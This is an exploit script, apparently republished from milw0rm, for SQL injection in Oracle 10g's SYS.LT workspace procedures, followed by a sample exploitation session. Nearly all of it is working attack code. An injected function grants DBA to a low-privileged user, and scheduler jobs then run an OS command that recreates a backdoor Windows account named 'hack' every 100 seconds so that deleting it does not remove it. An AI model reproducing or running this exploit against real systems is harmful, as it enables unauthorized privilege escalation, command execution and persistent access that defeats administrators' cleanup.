132 lines
No EOL
4 KiB
Text
132 lines
No EOL
4 KiB
Text
/*********************************************************/
|
||
/*Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Exploit**/
|
||
/**grant DBA and create new OS user (using scheduller)***/
|
||
/*********************************************************/
|
||
/***********exploit grant DBA to scott********************/
|
||
/***********and execute OS command "net user"*************/
|
||
/***********using scheduler*******************************/
|
||
/*********************************************************/
|
||
/***********tested on oracle 10.1.0.5.0*******************/
|
||
/*********************************************************/
|
||
/*********************************************************/
|
||
/* Date of Public EXPLOIT: January 6, 2009 */
|
||
/* Written by: Alexandr "Sh2kerr" Polyakov */
|
||
/* email: Alexandr.Polyakov@dsec.ru */
|
||
/* site: http://www.dsecrg.ru */
|
||
/* http://www.dsec.ru */
|
||
/*********************************************************/
|
||
/*Original Advisory: */
|
||
/*Esteban Martinez Fayo [Team SHATTER ] */
|
||
/*Date of Public Advisory: November 11, 2008 */
|
||
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
|
||
/*********************************************************/
|
||
|
||
select * from user_role_privs;
|
||
|
||
CREATE OR REPLACE FUNCTION Z return varchar2
|
||
authid current_user as
|
||
pragma autonomous_transaction;
|
||
BEGIN
|
||
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
|
||
EXECUTE IMMEDIATE 'GRANT CREATE ANY JOB TO SCOTT';
|
||
EXECUTE IMMEDIATE 'GRANT CREATE EXTERNAL JOB SCOTT';
|
||
COMMIT;
|
||
RETURN 'Z';
|
||
END;
|
||
/
|
||
|
||
exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Z()=''Z');
|
||
exec SYS.LT.COMPRESSWORKSPACETREE('sh2kerr'' and SCOTT.Z()=''Z');
|
||
|
||
|
||
/* We create backdored OS user "hack" with password 12345 using External Job's */
|
||
/* Note that in this method new user will be created every 100 seconds */
|
||
/* so if administrator find it and will try to delete it */
|
||
/* user hack will be created again. So it is also a simle backdoor */
|
||
|
||
BEGIN
|
||
DBMS_SCHEDULER.CREATE_PROGRAM (
|
||
program_name=> 'MyCmd',
|
||
program_type=> 'EXECUTABLE',
|
||
program_action =>Â’cmd /c "net user hack 12345 /add"Â’,
|
||
enabled=> TRUE);
|
||
END;
|
||
/
|
||
|
||
BEGIN
|
||
DBMS_SCHEDULER.CREATE_JOB (
|
||
job_name=> 'extjobexec',
|
||
program_name=> 'MyCmd',
|
||
repeat_interval=> 'FREQ=SECONDLY;INTERVAL=100',
|
||
enabled=> TRUE,
|
||
comments=> 'create backdoor user every 100 seconds');
|
||
END;
|
||
/
|
||
|
||
|
||
/* here we can paste any OS command for example create new user */
|
||
|
||
exec dbms_scheduler.run_job('extjobexec');
|
||
/
|
||
|
||
select * from user_role_privs;
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
---------------------------------------------------------------------------------
|
||
-----------------------------EXAMPLE OF EXPLOITATION ----------------------------
|
||
---------------------------------------------------------------------------------
|
||
|
||
|
||
SQL> select * from user_role_privs;
|
||
|
||
USERNAME GRANTED_ROLE ADM DEF OS_
|
||
------------------------------ ------------------------------ --- --- ---
|
||
OUTLN CONNECT NO YES NO
|
||
OUTLN RESOURCE NO YES NO
|
||
|
||
SQL> CREATE OR REPLACE FUNCTION X return varchar2
|
||
2 authid current_user as
|
||
3 pragma autonomous_transaction;
|
||
4 BEGIN
|
||
5 EXECUTE IMMEDIATE 'GRANT DBA TO OUTLN';
|
||
6 COMMIT;
|
||
7 RETURN 'x';
|
||
8 END;
|
||
9 /
|
||
|
||
Function created.
|
||
|
||
|
||
|
||
SQL> exec SYS.LT.CREATEWORKSPACE('zz'' and outln.X()=''x')
|
||
|
||
PL/SQL procedure successfully completed.
|
||
|
||
SQL> exec SYS.LT.REMOVEWORKSPACE('zz'' and outln.X()=''x')
|
||
|
||
PL/SQL procedure successfully completed.
|
||
|
||
SQL> select * from user_role_privs;
|
||
|
||
USERNAME GRANTED_ROLE ADM DEF OS_
|
||
------------------------------ ------------------------------ --- --- ---
|
||
OUTLN CONNECT NO YES NO
|
||
OUTLN DBA NO YES NO
|
||
OUTLN RESOURCE NO YES NO
|
||
|
||
SQL>
|
||
|
||
// milw0rm.com [2009-01-06] |